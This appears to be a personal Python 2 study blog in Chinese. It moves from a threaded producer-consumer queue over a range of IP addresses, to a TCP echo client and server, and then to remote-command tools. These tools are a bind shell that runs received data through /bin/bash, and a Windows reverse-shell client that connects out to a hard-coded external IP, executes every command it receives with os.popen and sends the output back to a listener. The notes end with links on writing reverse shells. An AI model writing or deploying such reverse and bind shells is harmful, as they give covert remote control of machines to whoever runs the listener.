生产者消费者模式
Queue模块
Import Queue
Queue = Queue.Queue()
For I in range(10):
Queue.put(i)
Queue.empty()判断是否为空
Queue.qsize() 返回其大小
取数据
Queue.get() get一次就取出一次
# -*- coding: utf-8 -*-
import threading
import Queue
#继承一个线程类threading.Thread
class DoRun(threading.Thread):
#结构方法,初始化属性,传入一个队列
def __init__(self,queue):
#继承结构方法
threading.Thread.__init__(self)
#两个下划线表示私有变量
self.__queue= queue
def run(self):
#线程的方法run start后执行的每次都取
while not self.__queue.empty():
ip = self.__queue.get()
print ip
def main():
threads =[]
thread_count = 10
queue = Queue.Queue()
for i in range(1,255):
queue.put('106.42.25.'+str(i))
for i in range(thread_count):
threads.append(DoRun(queue))
for i in threads:
i.start()
if __name__ == '__main__':
main()
这么写确实快
利用Queue和线程实现生产者和消费者模式。恩,可以改善我之前的代码。加快很多。
SHELL
简单的cs模式
Server
from socket import *
from time import ctime
HOST=''
PORT = 2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)
while True:
print 'wait for connection...'
tcpClient,addr = tcpServer.accept()
print '..connected from :'+str(addr)
while True:
data = tcpClient.recv(BUFSIZE)
if not data:
break;
tcpClient.send('[%s]%s '%(ctime(),data))
tcpClient.close()
tcpServer.close
client
from socket import *
from time import ctime
HOST ='127.0.0.1'
PORT =2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
data = raw_input('~:')
if not data:
break
tcpClient.send(data)
data = tcpClient.recv(BUFSIZE)
if not data:
break
print data
tcpClient.close()
更改为可以操作shell命令
server
#!/usr/local/bin/python
from socket import *
from time import ctime
from subprocess import Popen,PIPE
def main():
HOST=''
PORT = 2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)
while True:
print 'wait for connection...'
tcpClient,addr = tcpServer.accept()
print '..connected from :'+str(addr)
while True:
data = tcpClient.recv(BUFSIZE)
if not data:
break;
cmd =Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
data = cmd.stdout.read()
tcpClient.send('[%s]%s '%(ctime(),data))
tcpClient.close()
tcpServer.close
if __name__ == '__main__':
main()
client
from socket import *
from time import ctime
HOST ='123.206.15.80'
PORT =2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
data = raw_input('~:')
if not data:
break
tcpClient.send(data)
data = tcpClient.recv(BUFSIZE)
if not data:
break
print data
tcpClient.close()
让winodws作为客户端连接我的服务器。服务器一直监听
#windows-shell
from socket import *
from time import ctime
# from subprocess import Popen,PIPE
import os
HOST ='123.206.15.80'
PORT =2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
try:
data = tcpClient.recv(BUFSIZE)
cmd =os.popen(data)
data = cmd.read()
print data
tcpClient.send('[%s]%s '%(ctime(),data))
except:
pass
tcpClient.close()
linux下运行
#!/usr/local/bin/python
from socket import *
from time import ctime
def main():
HOST='123.206.15.80'
PORT = 2333
BUFSIZE=1024
ADDR = (HOST,PORT)
tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)
while True:
try:
print 'wait for connection...'
tcpClient,addr = tcpServer.accept()
print '..connected from :'+str(addr)
while True:
data = raw_input('~:')
if data=='quit':
tcpClient.close()
tcpServer.close
if data != "":
tcpClient.send(data)
data = tcpClient.recv(BUFSIZE)
if not data:
break
print data.decode('gbk').encode('utf-8')
except:
pass
tcpClient.close()
tcpServer.close
if __name__ == '__main__':
main()
反弹shell编写
http://blog.csdn.net/magicbreaker/article/details/2006972
https://www.waitalone.cn/linux-shell-rebound-under-way.html